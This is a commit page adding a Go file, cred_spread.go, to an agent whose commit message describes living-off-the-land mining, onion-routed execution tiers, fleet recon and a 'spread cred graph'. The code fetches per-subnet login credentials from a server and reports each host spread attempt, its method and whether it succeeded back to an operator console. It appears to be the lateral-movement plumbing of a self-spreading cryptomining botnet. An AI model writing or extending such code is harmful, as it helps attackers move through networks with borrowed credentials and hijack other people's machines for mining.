Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
80
agent/deploy/cred_spread.go
Normal file
80
agent/deploy/cred_spread.go
Normal file
@@ -0,0 +1,80 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// SpreadCredSession is a short-lived deployment credential bundle (never persisted by the agent).
|
||||
type SpreadCredSession struct {
|
||||
ProfileID string
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// SpreadCredReport records a spread attempt outcome for the server cred graph.
|
||||
type SpreadCredReport struct {
|
||||
Host string
|
||||
Subnet string
|
||||
ProfileID string
|
||||
Method string
|
||||
Success bool
|
||||
}
|
||||
|
||||
type spreadCredBootstrapFn func(host, subnet, method string) (SpreadCredSession, error)
|
||||
type spreadCredReporterFn func(SpreadCredReport)
|
||||
|
||||
var (
|
||||
spreadCredHooksMu sync.RWMutex
|
||||
spreadCredBoot spreadCredBootstrapFn
|
||||
spreadCredReport spreadCredReporterFn
|
||||
)
|
||||
|
||||
// SetSpreadCredHooks wires server-backed bootstrap tokens from the agent client.
|
||||
func SetSpreadCredHooks(bootstrap spreadCredBootstrapFn, report spreadCredReporterFn) {
|
||||
spreadCredHooksMu.Lock()
|
||||
spreadCredBoot = bootstrap
|
||||
spreadCredReport = report
|
||||
spreadCredHooksMu.Unlock()
|
||||
}
|
||||
|
||||
func acquireSpreadCred(host, method string) (SpreadCredSession, bool) {
|
||||
subnet := getSubnet(strings.TrimSpace(host))
|
||||
if subnet == "" {
|
||||
return SpreadCredSession{}, false
|
||||
}
|
||||
spreadCredHooksMu.RLock()
|
||||
bootstrap := spreadCredBoot
|
||||
spreadCredHooksMu.RUnlock()
|
||||
if bootstrap == nil {
|
||||
return SpreadCredSession{}, false
|
||||
}
|
||||
session, err := bootstrap(host, subnet, method)
|
||||
if err != nil || strings.TrimSpace(session.ProfileID) == "" {
|
||||
return SpreadCredSession{}, false
|
||||
}
|
||||
return session, true
|
||||
}
|
||||
|
||||
func reportSpreadCredEdge(host, method string, session SpreadCredSession, success bool) {
|
||||
if strings.TrimSpace(session.ProfileID) == "" {
|
||||
return
|
||||
}
|
||||
subnet := getSubnet(strings.TrimSpace(host))
|
||||
if subnet == "" {
|
||||
return
|
||||
}
|
||||
spreadCredHooksMu.RLock()
|
||||
report := spreadCredReport
|
||||
spreadCredHooksMu.RUnlock()
|
||||
if report == nil {
|
||||
return
|
||||
}
|
||||
report(SpreadCredReport{
|
||||
Host: host,
|
||||
Subnet: subnet,
|
||||
ProfileID: session.ProfileID,
|
||||
Method: method,
|
||||
Success: success,
|
||||
})
|
||||
}
|
||||
Reference in New Issue
Block a user